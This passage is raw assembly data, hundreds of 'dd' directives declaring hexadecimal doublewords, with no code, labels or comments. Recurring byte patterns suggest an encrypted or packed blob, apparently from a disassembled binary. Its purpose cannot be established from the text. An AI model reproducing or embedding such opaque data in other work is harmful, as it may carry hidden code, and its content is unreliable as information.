		dd 0E5BB5CF5h, 0F07BEF4Ch, 0E8C64776h, 0A000001Bh, 9A41D66Fh
		dd 933ACF6Eh, 8E35CA65h, 8A31C65Fh, 8E29BE57h, 0ED88BB76h
		dd 0E984B158h, 0E87BAD54h, 0E97CAC53h, 2B198754h, 4399A6BAh
		dd 251CEE05h, 12B94C7Ch, 5B8E8F79h, 1DB134CAh, 0FDCC7D40h
		dd 3ED90796h, 0D14FE97h, 99F3666h, 0EAFA6B59h, 0AA4549A3h
		dd 0E42D3019h, 836D0E64h, 301ECE7Ch, 49A355BFh,	2B761B29h
		dd 0A72FCEDFh, 2C1EEAD4h, 0B24D7BFCh, 2AD1720Bh, 3ED473A3h
		dd 4BDBDBBBh, 291301BBh, 0D56B8D22h, 0D1BF554Dh, 47A28927h
		dd 5DF82BD4h, 1FA67973h, 129A5A13h, 5864E7F7h, 61CDF837h
		dd 0F0789B85h, 9A7462F8h, 0B5850D69h, 801144EDh, 7693BACh
		dd 12B38681h, 4D3AC26Bh, 768EE5Fh, 0D0663981h, 76971E2h
		dd 48E9BC81h, 6078C4B2h, 6C3F7F06h, 507D26D6h, 8B750EB5h
		dd 26BB5A8Ah, 0E2B84F7Fh, 32C83A35h, 0F4DD5E8Dh, 0AC00001Ah
		dd 0AE55EA7Bh, 0A74EE382h, 0A249DE79h, 9E45DA73h, 0AA45DA6Bh
		dd 11A4D792h, 0DA8D57Ch, 49FD178h, 0FD98C86Fh, 3F2D9B68h
		dd 4399A5CEh, 2C300219h, 0B0DEA1FCh, 0C8BD4868h, 8C0E9127h
		dd 448CECC1h, 0F05548ECh, 9264C487h, 5EE68FA8h,	58E2D066h
		dd 9347A281h, 66962BC0h, 0CA6058E0h, 0B158F321h, 76262E18h
		dd 56F11DC6h, 9C611182h, 9F895C43h, 9B67AF59h, 1976A41h
		dd 56F26351h, 3363D95h,	0AE17EA72h, 284F31EFh, 0B3AC961Ah
		dd 46C0B7A7h, 554DD57Ch, 0B0210FBFh, 0FB75E410h, 48363E28h
		dd 73E30B6Eh, 62D3C189h, 0AD6FDD0Bh, 49239DAh, 8CCC0A81h
		dd 0FBE5243Dh, 0C25850D8h, 0DC8C88D4h, 0E67C4F6Dh, 0E57A0D3Dh
		dd 0A1770E3Eh, 23A66EE4h, 1C961746h, 0D400001Ah, 0D67D12A3h
		dd 0CF760BAAh, 0CA7106A1h, 0C66D029Bh, 0D26D0293h, 39CCFFBAh
		dd 35D0FDA4h, 2CC7F9A0h, 25C0F097h, 6755C390h, 4399A3F6h
		dd 2C582A41h, 19C269FCh, 15039991h, 47A2E0EBh, 0A93ED3A6h
		dd 7E76FE62h, 0C750FAE8h, 380B419Bh, 2E8AA5B1h,	8008D12Dh
		dd 2A04F288h, 459EEBF8h, 91BEB5AAh, 9031C501h, 0C0B840E9h
		dd 0A2D17A2Ah, 0ABD96007h, 2FD06910h, 2BB3FF45h, 0A77A98E5h
		dd 9D386811h, 7DD75A08h, 59BBF188h, 48787963h, 0D324D7ADh
		dd 679648AFh, 1982E6h, 6C093A00h, 690430D7h, 64FF2DD4h
		dd 60F928CFh, 60F124CBh, 5D1830CBh, 5B02972Ah, 53FA8F2Eh
		dd 4AF18621h, 19E67B1Ah, 0A44CBDABh, 80974399h,	69FC2CAEh
		dd 999119C2h, 0F33F1503h, 875A47A2h, 16AA5DF2h,	1200968Eh
		dd 419BEA68h, 0BDC95023h, 0B25744FAh, 72080088h, 2463D4C2h
		dd 0DBAE4053h, 21FBE9F1h, 3C3E521Fh, 5AC4B7Bh, 8535CB6Ch
		dd 4C1F2697h, 9E376A3Ah, 3D65EF7h, 0CF570019h, 689841D7h
		dd 15E9105h, 12B3316Bh,	0E6322028h, 9F384BE6h, 1FFA6CEFh
		dd 8DDE215Ah, 455B48B9h, 0D6C09334h, 0CA7309DCh, 0BF66FB9Ah
		dd 5722F88Fh, 6BE9356Fh, 18C9BB3Ch, 50810000h, 4D7920B5h
		dd 48761DB2h, 427118ADh, 386B12A7h, 556D089Dh, 39CE679Ah
		dd 33C86592h, 32C75A8Ch, 27BC5B8Bh, 8DFEEC5Ah, 0D84399A3h
		dd 7C25EFC1h, 740DB44Dh, 0BE59898Ah, 0F9E66E17h, 0A3F29A0Bh
		dd 0A912E549h, 52AA56A0h, 871DBEDEh, 0A2B14399h, 0F68B5E47h
		dd 9D259B61h, 77210FA5h, 32419B88h, 770B7C6Ah, 83563D95h
		dd 74A34CE2h, 7785F6E4h, 0FDD03D95h, 0B31CB55Ch, 24A30F43h
		dd 1710FA95h, 0CCAD5D0Bh, 7F77FFCFh, 721FBE9h, 693CA7CBh
		dd 0C43523D3h, 0FA3C507h, 9039523Ch, 8C7A1008h,	0A1C3FE40h
		dd 0F59E3407h, 0F69D32C5h, 92592FC6h, 28578DDDh, 180D78F9h
		dd 94C50000h, 99C56C01h, 94C269FEh, 8EBD64F9h, 84B75EF3h
		dd 0A9C15CF1h, 952ABBEEh, 8F24C1EEh, 861BB6E8h,	8318AFDFh
		dd 0E95A48B6h, 344399A1h, 0FC2C4B1Dh, 0F72AD369h, 3A43D70h
		dd 0CF570019h, 955341D7h, 40479E3Ah, 7E27D76Dh,	7912B94Ch
		dd 0E76C7F10h, 1E08EA8Eh, 0C55AED1Dh, 9999F8D9h, 7F73FA43h
		dd 741343EAh, 57852EDEh, 9977E8BCh, 0FAC24399h,	99999B0Ch
		dd 7213E643h, 30B88188h, 34A59343h, 7F439999h, 9967D8ACh
		dd 0F1B24399h, 0EA832AC5h, 6212A849h, 4BF28DB9h, 0C482C8B2h
		dd 6F4193E0h, 315D069Ch, 9203F1A1h, 0DD3D8F50h,	50C5360Ah
		dd 3D103D8Fh, 3460079Ch, 36DD78ABh, 0A819079Dh,	0F33D8F50h
		dd 51D87F20h, 0DDB08621h, 0EDF07F5Ah, 17353DBEh, 0BCED0000h
		dd 0C1ED9429h, 0BCEA9126h, 0B6E58C21h, 0ACDF861Bh, 0D1E98419h
		dd 0BD52E316h, 0B74CE916h, 0AE43DE10h, 0AB40D707h, 118270DEh
		dd 5C4399A1h, 820A7345h, 9B44F48Ah, 912AD16Ch, 39A361A7h
		dd 7B4E479Eh, 8B0C3CE5h
		dd 7D16BD58h, 0F77E47DCh, 227F6D03h, 4D4399A9h,	16AFDC85h
		dd 99A9D142h, 0A8491C43h, 97CA7301h, 856E2136h,	0C3644FAAh
		dd 5399831Ch, 4399CDE5h, 30E12F12h, 16BD5887h, 9B3A937Dh
		dd 411FB8E1h, 6Dh, 8F830AA5h, 0F5C676F9h, 0FB0913AAh, 0B61B0911h
		dd 0F149A376h, 0B1DF881Eh, 76C23321h, 3A0D49A3h, 6F59F299h
		dd 761D8A56h, 0BA4A49A3h, 90031E37h, 0EAD4676Ch, 963F818Fh
		dd 4419AED4h, 2Dh, 0DEA225A8h, 8A596A21h, 1785CBB5h, 3949A2FFh
		dd 3523B9B1h, 47A210D7h, 0E55644F4h, 30439BDFh,	0A679735Dh
		dd 9D386710h, 6C735DF6h, 877525FAh, 49A3F216h, 0F1F46553h
		dd 6C3F49A3h, 42711E4h,	0D263967Ch, 3BAD9B31h, 8647A2D0h
		dd 55850CB3h, 6910A1D4h, 0F0992FD0h, 0E98229C4h, 0E9902D5Ah
		dd 0B15F6650h, 983FDA08h, 0E41415FFh, 0CF38BB51h, 0B628373Bh
		dd 0DC637C66h, 0AD7118A9h, 0F2220C1Ah, 0E717BE53h, 7800A950h
		dd 232C9D8Bh, 0A477439Ch, 0CFBD6D03h, 439C235Eh, 233CAD9Bh
		dd 0B487439Ch, 576642Ch, 50439C23h, 0EAF2DC7Dh,	9B1F8AFCh
		dd 6C02D541h, 0EF897C3h, 95306007h, 789622EEh, 0A3D635C2h
		dd 0BC5DF824h, 0D7608E15h, 0CA7112A5h, 0C08165Fh, 0C97D0040h
		dd 30FDC971h, 6106B55h,	0B84DE818h, 0FB6C5A0Ah,	46C55E5Dh
		dd 58888973h, 0F7A427BDh, 0C4A15704h, 0BF60A40Dh, 318301F0h
		dd 78A72E47h, 75103FE8h, 5E0230A1h, 8DBA7BC5h, 18AE4FF0h
		dd 0EF0E7F95h, 887243C4h, 6DBB046Fh, 56E313BCh,	7F19223h
		dd 0AA3FD606h, 8D34D303h, 0EFE57CFFh, 0FF0E9765h, 726AF215h
		dd 680733DCh, 1E88767Eh, 4BC35D7Bh, 2CD372A2h, 7B3FB09Eh
		dd 0B78ABF57h, 71322C16h, 0A001A843h, 766BDBEBh, 0E1771895h
		dd 572682F3h, 59FACDBFh, 65ED1DC4h, 57260677h, 0F0B651BFh
		dd 339A603Fh, 32C8690Ah, 48239482h, 6A8DBF57h, 445C0CDFh
		dd 7F693CC4h, 13B2DF66h, 31B2E56Ch, 21C86904h, 0B4E36C9Ah
		dd 61D17819h, 501C1826h, 95C573BDh, 96C66D02h, 27AF58FFh
		dd 0D3740F41h, 40814F3Dh, 794CBD56h, 7A0D3DE4h,	209A07D3h
		dd 0DF5C950h, 0FD63898Ah, 0C8B26E68h, 4575A36Dh, 54991CB2h
		dd 9C33F607h, 98B5D13h,	55F6C41Ch, 8BBD646Bh, 97CA51F8h
		dd 40A657FEh, 24CB6A97h, 0F846A18Bh, 0F4891C4Eh, 0D46F9D46h
		dd 1CB7E9EAh, 26BFEE75h, 1E28BB7Fh, 0CE63FE30h,	0CC62F527h
		dd 6A54F323h, 2820A851h, 38800F92h, 0F1D3A5E6h,	9F11FF07h
		dd 0DCA74F87h, 87CD3E2Ch, 4518A349h, 0E78E615Bh, 3BE5337Ch
		dd 32D96E09h, 35BC6302h, 1ACB7205h, 3969D761h, 0CB0A099Eh
		dd 11C0092Ah, 2Fh, 4E7C2575h, 8A9CBCEBh, 7314933Ch, 77A433CCh
		dd 0B49E37DEh, 3FE681B3h, 0FC280E96h, 8021BA61h, 0F856FCEAh
		dd 3E1147A1h, 2F08A9h, 2C7E0000h, 17C067FAh, 5801978Fh
		dd 69279029h, 0C878DDF9h, 0C2B0B8A2h, 47A21064h, 7D3EF48Fh
		dd 0D16BA52Eh, 0FCEA9A30h, 439CD88Bh, 121903D6h, 497C25A0h
		dd 1DDFCEB8h, 89321FA7h, 811AC15Ch, 0A3F23CADh,	0D1BF8749h
		dd 49A3F260h, 9637D8ABh, 7BA75000h, 0F29708DCh,	0FE249A3h
		dd 90A3C0A6h, 0CEB82D88h, 652ED8C6h, 2BDB47A2h,	9C54CC3Dh
		dd 5A441743h, 39AA9860h, 84439C54h, 7D8910B1h, 0AF4F5D0Ch
		dd 18AEA62Eh, 0D5B6E568h, 0C9664918h, 0E95484F5h, 12FCCF4Eh
		dd 83B15A0Ah, 7DE041E8h, 0BEF3DD5Ch, 0AD117A1Bh, 0E833CDC3h
		dd 512B715Bh, 6C4CE8D4h, 0C149F299h, 0F94533C9h, 0C046E1CBh
		dd 7EAE57EDh, 7BAB52E7h, 0D295D14h, 0DA7B2C93h,	0A368D304h
		dd 1FA0CFFAh, 1307h, 62F78EBFh,	5BF08FBBh, 56EB86B4h, 50E580AFh
		dd 46DB76A9h, 0A5D893ABh, 0A3D0770Ch, 9CCE750Ah, 9DCD7409h
		dd 3AA8750Ah, 999DDB4Ch, 3D0F2643h, 0A3F176E7h,	7A30B349h
		dd 56C7B5F1h, 0A149A38Ah, 26DC65CEh, 0A1294C36h, 9B2513A9h
		dd 0C847A291h, 0AD54F31Fh, 5D302A14h, 6BEC1EC7h, 67FC9D38h
		dd 4CF38EC0h, 0E11495C5h, 6F10A950h, 6C793099h,	5ADB0AFAh
		dd 128Fh, 0EA7F1647h, 0E3781743h, 0DE730E3Ch, 0D86D0837h
		dd 0CE63FE31h, 2D601B33h, 2B58FF94h, 2456FD92h,	2555FC91h
		dd 0C230FD92h, 999D63D4h, 0C597AE43h, 6D9C820Ah, 781FB6E6h
		dd 79D3EDFh, 0A2E18F19h, 1E0CBC47h, 439CC1ADh, 413B25F8h
		dd 32FD86Eh, 0FC28CF64h, 1273F99h, 0F38C33CEh, 6EF4B48Ah
		dd 6708A93Ch, 5FFA28D1h, 1C351FB8h, 2BD26595h, 78A977C0h
		dd 0A469DAC8h, 0E1B4439Ch, 2BCAF6F7h, 0AC100196h, 14972D21h
		dd 29BC538Ch, 0B2E27151h, 0E9D36C13h, 62FD29F0h, 51842DBBh
		dd 968019C0h, 9C4AE250h, 35033C43h, 0AB40DF0Bh,	0A73DD804h
		dd 4D37CEFEh, 0B038B34h, 91ED8775h, 0C7884196h,	0BB54FB9Ah
		dd 51D4841Ah, 2590D1E6h, 0B92A18BCh, 43D92D1h, 0A5A69031h
		dd 0A64DE275h, 8F38DF76h, 0C9790F07h, 0C4FD4446h, 0E2CC8184h
		dd 8C469F9Ch, 1E0CBC3Bh, 3787B6ADh, 413B25F8h, 0FF2FD86Eh
		dd 0FC2CD368h, 9119C269h, 8C800399h, 38800C62h,	0B89668E0h
		dd 0E66DB84Fh, 5806F4FCh, 1535861Bh, 0C2359692h, 0CA59A205h
		dd 1711FB9Ah, 0FB716E44h, 1A49E448h, 115699h, 48DD0E00h
		dd 45E00CB3h, 40DB09B0h, 3CD504ABh, 34CD00A7h, 31EC049Fh
		dd 27CE63FEh, 1FC65BFAh, 1EC55AEDh, 0F5C257EEh,	9B289987h
		dd 5C734399h, 0F27DE78Ah, 7FB149A3h, 0FE864FE4h, 5246CE3Eh
		dd 8B2CF804h, 2D1207F5h, 5A2D479Eh, 64ED1BC4h, 49BAA838h
		dd 9443999Ch, 0EA7F20C1h, 0B401D478h, 5BDB1A2Eh, 3F000001h
		dd 16877525h, 6149A3F2h, 0FC81A48Eh, 3725AA04h,	49A3F2C9h
		dd 25217BD6h, 0C43D2B1h, 0F389810Ah, 0D9801D4Ah, 0AA3FC278h
		dd 9F4096D0h, 4D4DE9B5h, 0F5DF72A4h, 0C37F0A29h, 0DA99722Dh
		dd 95C554C8h, 21C25B02h, 0D4A234C7h, 1CAEB411h,	24EBh
		dd 810A4F00h, 37252F89h, 49A3F2C9h, 0ED5E4C14h,	3849A3F1h
		dd 256AC465h, 63FE2CB1h, 32E4F609h, 41h, 89810AA8h, 0C937252Fh
		dd 0D649A3F2h, 4735E57Bh, 49A3F2D6h, 50EEC840h,	5AE215B2h
		dd 2ACB6699h, 7C257440h, 63D4C24Ah, 0AE49A3F2h,	0C933ADBh
		dd 13A243DEh, 7A047E6h,	2CA1151Dh, 0F60963FEh, 0B411D4E4h
		dd 27D71CAEh, 0A3F2C839h, 56401346h, 4162h, 7F0AC600h
		dd 1E4CF58Bh, 5943DC83h, 8775258Dh, 49A3F216h, 9CA48E61h
		dd 0DD4E3CECh, 2849A3F2h, 0B7256B55h, 249A3F2h,	0B125D52Fh
		dd 0B65002Ch, 16877525h, 6149A3F2h, 5B6DA48Eh, 4B32h, 7C25A800h
		dd 0ACCFB94Ch, 0C16A6521h, 4A07E2DCh, 0D39013A9h, 0B2D57309h
		dd 25D39F89h, 66D7C575h, 0B149A3F2h, 40AEF4DEh,	4D49A3F2h
		dd 0B12598F2h, 16877525h, 6149A3F2h, 77A3A48Eh,	7C257ED8h
		dd 760FB64Fh, 5E07558Ch, 0E3AF992Ch, 0FFFE9C32h, 820AA8FFh
		dd 4806F48Ah, 0E5479E3Ah, 0A6972262h, 3C26C2EAh, 30D96F42h
		dd 0BE4B7700h, 0B158F98Ch, 19E27718h, 4ABBA992h, 954399D2h
		dd 9D8B21C2h, 4399D22Ch, 31FDA477h, 4399D2C2h, 9138D502h
		dd 16CCB630h, 0CB5AA3DEh, 0E858FF9Eh, 0FDA363ADh, 0BCA0C1Ah
		dd 0D11FB8D9h, 4Fh, 0F27AE735h,	0EB749A3h, 179E45E0h, 0C2AC4DE8h
		dd 61F691C1h, 0A3F20775h, 0BBA12949h, 0B049F08Fh, 0B758F321h
		dd 12837121h, 4F49A3F2h, 0A3F1F061h, 0E0683B49h, 2D1B230Dh
		dd 47A2F70Bh, 0A04EE3B6h, 0E40C9F7h, 9233CC73h,	0A9ADA8h
		dd 25230000h, 0C0EE4F7Ch, 0D4F4A0AFh, 3BD47B1Ch, 0AEA62E51h
		dd 0E9542A18h, 9C6F47A2h, 5FAE8306h, 0C2485298h, 0F527D0D8h
		dd 9C1FCD62h, 85A127C1h, 0A2A38DCAh, 852ED570h,	816F05FDh
		dd 4196F7AFh, 6811A77Ah, 5F069B36h, 4AF39A2Dh, 0C60302C2h
		dd 0EF96315Dh, 0CC0ED56h, 4533C96Ah, 3B8CB85Bh,	842DC396h
		dd 7E2CC154h, 240EA9D5h, 7E54F323h, 0EE704277h,	74830433h
		dd 2C00000Eh, 2ED56AFBh, 27CE6302h, 22C95EF9h, 1EC55AF3h
		dd 2AC55AEBh, 91245712h, 8D2855FCh, 841F51F8h, 7D1848EFh
		dd 0BFAD1BE8h, 4399984Eh, 2CB08299h, 3BC269FCh,	14C56C0Bh
		dd 3363CD5Bh, 0D500FF94h, 719AEBBh, 3Eh, 8A820A6Bh, 0ED2C06F4h
		dd 744747A2h, 7F1646CDh, 741343EAh, 0A49C24CDh,	0FF705E0Eh
		dd 3C439CECh, 9CEDDD4Eh, 0CD552843h, 1A0810FAh,	419BF044h
		dd 49F78C5Fh, 31D871A0h, 40DB0998h, 2C8A56h, 0F926CF65h
		dd 321CB55Ch, 0BD58842Bh, 604AA427h, 620BAE0Ah,	28D15F78h
		dd 1DB65DF8h, 7D89ED33h, 87B949A3h, 68E57ECh, 1FC8780Eh
		dd 2A705AEDh, 479DC578h, 31DA7043h, 0AD487A03h,	700EE044h
		dd 0FE9F6B6Fh, 1D4F769h, 0DB1A2EB4h, 18Eh, 8D850A3Fh, 0C9372533h
		dd 649A3F2h, 0EC932E5Dh, 0D6316953h, 4F7C257Ch,	50C4CCB6h
		dd 0A0C43D2h, 252F8981h, 0D5A971A2h, 7A645E2Ah,	7F0AD69Ah
		dd 2ED5709Dh, 0B55EF495h, 0EA83EC87h, 0A4276CBAh, 3499654Fh
		dd 0B1A225A2h, 102C9534h, 7D9203F1h, 0ADD49A3h,	0BF267F69h
		dd 1D1CAF28h, 46h, 9B810A81h, 4937CD68h, 49A3F2D8h, 55AF5023h
		dd 0F2C93725h, 411449A3h, 25B125E7h, 0C465F275h, 7F650F51h
		dd 0A3543AABh, 0C8B28549h, 68FE99C7h, 0BF590BFh, 25E4F63Fh
		dd 0FB347A2h, 0AE98D7AEh, 3BB3h, 810A2900h, 37252F89h
		dd 49A3F2C9h, 25217BD6h, 0FB64F7Ch, 10848C76h, 0C7507C25h
		dd 0B9600194h, 0C8639120h, 9D9E8821h, 953ED46Fh, 17B6E263h
		dd 8F36D770h, 9E3FDA08h, 0E4F6E8B4h, 0AEB411D4h, 6DEB1Ch
		dd 0A4F0000h, 25318B7Fh, 0A3F2C937h, 2D5D0649h,	705AF39Ah
		dd 8A0DA376h, 0CBAA359Eh, 8D59431Eh, 0A6CFA225h, 113A6577h
		dd 11B85582h, 0D6868E78h, 8BC6EB53h, 0A72F2D4h,	6ECD3626h
		dd 84F5E303h, 0CF49A3B1h, 0A5715BFCh, 0B65002Ch, 0B5507C25h
		dd 2192800Eh, 6C49A3F2h, 0D70EF899h, 2BA225C5h,	663E2B87h
		dd 730E41D0h, 328E89h, 0A040000h, 25318B7Fh, 0A3F2C937h
		dd 0E57BD649h, 5B890A3Ch, 69351FC0h, 2CB125h, 0F2118270h
		dd 895C49A3h, 0A8F68EE8h, 5C6CD3FFh, 0E90F3C8Eh, 0CCB657h
		dd 0FFFE6932h, 820AA8FFh, 4806F48Ah, 0E5479E3Ah, 7038E862h
		dd 957F3BCFh, 349A009Bh, 4B6F0302h, 3B6B14AAh, 2B5D069Ch
		dd 0DEA7AE98h, 0DFCD6357h, 4399226Eh, 733FE6B9h, 43992204h
		dd 0FAFC4A2Dh, 1FB98BDBh, 2101h, 7AE76500h, 0BE49A3F2h
		dd 0C162F78Eh, 0F7h, 106E78FBh,	0EA56B7DEh, 0A3248BFCh
		dd 6203D649h, 820AAC78h, 571F48Ah, 388F65FCh, 0B152ED19h
		dd 660FBFC7h, 6FB59F36h, 47A2B8ADh, 3FEF8558h, 9830A18Fh
		dd 0A87B439Ch, 2C11AA3Fh, 0D3BDF495h, 6F05A0D2h, 0A32DC3ECh
		dd 8876FCA3h, 439CAA17h, 85EE8F62h, 52DA6B78h, 0CDD4BEA9h
		dd 0BA61F426h, 0B756832Ch, 6A8D7710h, 0A454EAE2h, 9D2CCBFBh
		dd 9730D76Ah, 9EA167ADh, 895C4196h, 0B5184AF3h,	0F23765D7h
		dd 0E57B1CCCh, 0BAD64735h, 4E213D92h, 84B65D64h, 19A14AF1h
		dd 0B39D8B21h, 0EE3B8CF7h, 0ACDC851Bh, 0BB5CFB2Bh, 0CA4F7F26h
		dd 1492399Ch, 9802E0F4h, 0A13C68F7h, 0EAC061FAh, 0EE7082C1h
		dd 0F441C2F1h, 0AC00000Ah, 0AE55EA7Bh, 0A74EE382h, 0A249DE79h
		dd 9E45DA73h, 0AA45DA6Bh, 11A4D792h, 0DA8D57Ch,	49FD178h
		dd 0FD98C86Fh, 3F2D9B68h, 439995CEh, 2C300219h,	0AF4E7BFCh
		dd 0B0E0670Eh, 0A3D67F15h, 0F2BE2F1Dh, 360949A3h, 0E192AB95h
		dd 80291E28h, 8412B954h, 0A3F22596h, 0FC9D7049h, 46E11112h
		dd 40D707B0h, 85504F56h, 5719AEBCh, 47h, 0C2820ABBh, 695BBAFBh
		dd 6E04A55Dh, 0D13E48EBh, 0A33E72E3h, 81EABD49h, 0EBD59A8Dh
		dd 1703F5E3h, 7B4E47A2h, 8A1D4DD4h, 871E4EF5h, 0B7AF37E0h
		dd 7713321h, 491C419Bh,	685606B4h, 3D94E5F7h, 0B1E06F42h
		dd 2C622E18h, 0E4D06500h, 49A3F27Ah, 54E97CAEh,	750B038Bh
		dd 9E39EA87h, 2CC29547h, 13BA5583h, 0DF88907Ah,	0F8116B1h
		dd 2EB401D4h, 0F21EC71Ah, 8413AC53h, 811AC154h,	14DA397h
		dd 0A070000h, 25338D85h, 0FB64F7Ch, 96848C76h, 49A3F228h
		dd 27BAEC35h, 0EC46E780h, 0DC81A225h, 65C600C5h, 0A3330677h
		dd 0DD7E5149h, 0D277EBF3h, 784DD043h, 0F105DA47h, 0AD39F89h
		dd 4D2F8981h, 8B7F0A89h, 25A23431h, 10B74A7Ch, 0B1348D77h
		dd 4B1CAEB4h, 40h, 4D7C25AFh, 0DE740DB4h, 0A3F27FF0h, 0DF7CA49h
		dd 0F6961EAh, 0F2C93725h, 411449A3h, 497C25E7h,	8E7811B8h
		dd 0FE2C1286h, 0E24D649Bh, 0AD4ECFC2h, 507C2553h, 8B750EB5h
		dd 38324254h, 0A8000000h, 0B8497C25h, 0BAE97811h, 0F5DF781Fh
		dd 0F75149D2h, 0F2C93725h, 5D0649A3h, 72AA942Fh, 0A5D88117h
		dd 2556220Ch, 0CBB5507Ch, 0FE2C4FC3h, 0F824CD63h, 331DB65Dh
		dd 0D4E4F667h, 1CAEB411h, 49EBh, 7F0A4F00h, 7525318Bh
		dd 0C0C3D8F2h, 3F726E30h, 0D51B05A6h, 49A35B67h, 9949DFB2h
		dd 0A35B3AABh, 0C8B28549h, 2CB125FCh, 11827000h, 5C49A3F2h
		dd 0A252E889h, 0A3F243B4h, 0D1BB8E49h, 25E4F605h, 0CCB64F7Ch
		dd 28D1h, 7F0A4700h, 3725318Bh,	49A3F2C9h, 0CC98B3D6h
		dd 0FABA40FEh, 0E98A2BCAh, 2CB1258Fh, 0F60B6500h, 47D0FFA8h
		dd 0F2DC7D18h, 0FE9E3226h, 25A8FFFFh, 0F2168775h, 996149A3h
		dd 0A3F23AABh, 11B28549h, 847C0427h, 67953EEEh,	7A0D3DCCh
		dd 3A8C4A90h, 6437479Eh, 67DB4BCEh, 6BFA236Bh, 0A0D07981h
		dd 0AF50E717h, 0CEBC6C1Ah, 43997F5Dh, 1846D5A8h, 533DD67Dh
		dd 1FB5A930h, 2F33EC6Fh, 55CCF113h, 6909E869h, 1E08A95Bh
		dd 99CD67D8h, 38DFB243h, 99CCFD6Ch, 0F5432643h,	0B8E0E2F3h
		dd 0F3BE41Fh, 4630C970h, 1052h,	7AE7B600h, 0BE49A3F2h
		dd 0C162F78Eh, 0C9h, 8A820A37h,	0EC1C06F4h, 845747A2h
		dd 921345EEh, 8720C766h, 78AA51E6h, 58D36DDh, 0B859EC1Fh
		dd 346A3422h, 52254197h, 46E113BCh, 4F112DB0h, 0A8BF7671h
		dd 8609B7BEh, 0F15F9AEFh, 32331D60h, 15BE6500h,	0F374A78Dh
		dd 0E38425C0h, 0DC75A44Dh, 0AAB29C35h, 8C5DD2BCh, 0A43A0D3Bh
		dd 0DD9506F4h, 0E4D23787h, 3787DD73h, 9063EBBEh, 0C5F59EA6h
		dd 43C0836Ah, 90267FF8h, 86F931A2h, 8A97C37h, 11F0EF72h
		dd 99C8D56h, 4171181Fh,	3931D0A6h, 9AC9EE77h, 79619h, 881D4E00h
		dd 85204CF3h, 801B49F0h, 7C1544EBh, 740D40E7h, 712C44DFh
		dd 670EA33Eh, 5F069B3Ah, 5E059A2Dh, 3502972Eh, 9268D9C7h
		dd 9CB34399h, 69FC2CCAh, 6C0B3BC2h, 68FB2DD6h, 253E28C1h
		dd 0C36DBB74h, 605FF493h, 19AEC075h, 5267h, 820ACB00h
		dd 0F236A795h, 4E7A49A3h, 0B35427AFh, 0F7F92F1Dh, 0C19447A2h
		dd 0CC53822Bh, 0C8610899h, 7EE78027h, 0E9056481h, 2E473191h
		dd 9102F0A0h, 0DC439C07h, 6CD91F09h, 99439C07h,	6F6668B6h
		dd 591FB6ABh, 0B4ABBA9h, 0C295439Ch, 4EE4D8h, 0A480000h
		dd 0D46D9C82h
		dd 44ED9D33h, 78D98011h, 0A3458F65h, 604AEBE4h,	0A27C481Ah
		dd 5D820547h, 0D749E9A4h, 12E5DFC9h, 21B4E46Bh,	22B5E58Ch
		dd 524AD27Bh, 9AE4CEBCh, 6111419Bh, 959A0273h, 7F16463Dh
		dd 0F6B73FD8h, 0A48E2FC6h, 0D042D7AAh, 0EF9FBA3Eh, 0A3F29001h
		dd 1E08DB49h, 0E57B73FBh, 0D62E7262h, 18024996h, 3E782210h
		dd 603347A2h, 53EE21CAh, 302913ACh, 0F08BB962h,	72B0C006h
		dd 46CE838Ah, 0F0CAB84Eh, 0B8124DCh, 0CE1FA238h, 0D76990ECh
		dd 48D6EFD9h, 0A639AA98h, 0B1847D1Eh, 361CA4C7h, 1B8C7A06h
		dd 667D1EA6h, 0B24BF293h, 22CB7B11h, 15AE55F0h,	1EA6D041h
		dd 0B9481B7Dh, 0B24BF28Dh, 86D2C0C8h, 4D7B1D9Dh, 0B3BE47Ah
		dd 30D76Ch, 6D118270h, 895C7717h, 7DFD12E8h, 0D6052EE7h
		dd 60E55h, 95C600h, 0FD98C46Bh,	0F893C168h, 0F48DBC63h
		dd 0EC85B85Fh, 0E9A4BC57h, 0DF861BB6h, 0D77E13B2h, 0D67D12A5h
		dd 0AD7A0FA6h, 90E0513Fh, 142B4399h, 74FC2C42h,	0A3F21586h
		dd 0EC8D6049h, 90BE45h,	0A3F2A112h, 7FF0DE49h, 0CA49A3F2h
		dd 0FB9C6FF7h, 1D159D66h, 39CF9987h, 0B78A479Eh, 0C05B8910h
		dd 61B1A3EAh, 5FE00FFAh, 5A3h, 0F68B2A5Bh, 0EF84234Fh
		dd 0EA7F1A48h, 0E4791443h, 0E2770A3Dh, 41742F47h, 47741BB0h
		dd 407219AEh, 396910A5h, 0CE3C099Eh, 99906FE0h,	0D1A3BA43h
		dd 0A795820Ah, 49A3F236h, 0F2148573h, 8C5F49A3h, 0FA903104h
		dd 9E3A460Ch, 174AF347h, 0C79A947Eh, 0D06B9920h, 61B189FAh
		dd 39BAE9FAh, 543h, 962BCAFBh, 8F24C3EFh, 8A1FBAE8h, 8419B4E3h
		dd 8217AADDh, 0E114CFE7h, 0E714BB50h, 0E012B94Eh, 0D909B045h
		dd 6EDCA93Eh, 998F0F80h, 71435A43h, 0FD05A225h,	2534A851h
		dd 0A3B1C637h, 9D3E1149h, 100890B3h, 0F8BA8C7Ah, 0B285479Dh
		dd 0BB56840Bh, 6172ACE5h, 66E716FAh, 4E7h, 42D76E9Fh, 3BD06F9Bh
		dd 36CB6694h, 30C5608Fh, 26BB5689h, 85B8738Bh, 83B057ECh
		dd 7CAE55EAh, 7DAD54E9h, 1A8855EAh, 998FBB2Ch, 1DEF0643h
		dd 0C269FC2Ch, 0EE98B134h, 1D8F4302h, 15AE55F0h, 59898A74h
		dd 0C05317BEh, 0FD98C876h, 1C0ABA68h, 49A329ABh, 383923F6h
		dd 0B6517F08h, 2ED5760Fh, 0A328F462h, 0B154E49h, 0C55AED1Dh
		dd 0E67C74FCh, 9D715EF8h, 923BEB47h, 8821C865h,	98E043B4h
		dd 0D1BB8E43h, 51E416D7h, 41711AB0h, 3A6A11A6h,	0B666F49Bh
		dd 98E057C8h, 0E5CFA243h, 0AC423AC2h, 9327C1BEh, 0A124EC41h
		dd 3BE0E476h, 1E8F63D7h, 693D8E44h, 0B65FF596h,	0B35AEF86h
		dd 31C4F683h, 0A950F18Ah, 0EA807800h, 8D434EFCh, 7046193Bh
		dd 0EE774803h, 0C0788B7h, 0C4000004h, 0C66D0293h, 0BF66FB9Ah
		dd 0BA61F691h, 0B65DF28Bh, 0C25DF283h, 29BCEFAAh, 25C0ED94h
		dd 1CB7E990h, 15B0E087h, 5745B380h, 43998DE6h, 2C481A31h
		dd 3BC269FCh, 2DD66C0Bh, 79806AFDh, 0BC2D1BCBh,	749A3F2h
		dd 9F274A34h, 5CF28DB9h, 0A3F1FD6Eh, 0D4754849h, 8A6503Eh
